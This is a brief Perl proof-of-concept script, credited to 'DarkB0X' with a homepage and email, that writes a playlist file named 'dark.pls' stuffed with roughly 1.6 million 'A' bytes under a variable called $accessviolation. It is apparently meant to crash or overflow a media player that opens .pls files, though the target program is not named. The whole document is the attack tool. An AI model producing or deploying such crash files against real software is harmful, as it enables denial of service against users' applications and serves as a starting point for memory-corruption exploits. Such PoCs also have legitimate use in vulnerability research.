#!/usr/bin/perl -w
#By DarkB0X
#HomePage : http://NullArea.Net
#contact : darkb0x97@googlemail.com

my $file="dark.pls";

$accessviolation = "\x41\x41\x41\x41" x 408973 ;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $accessviolation ;
close($FILE);
print "$file creation finished";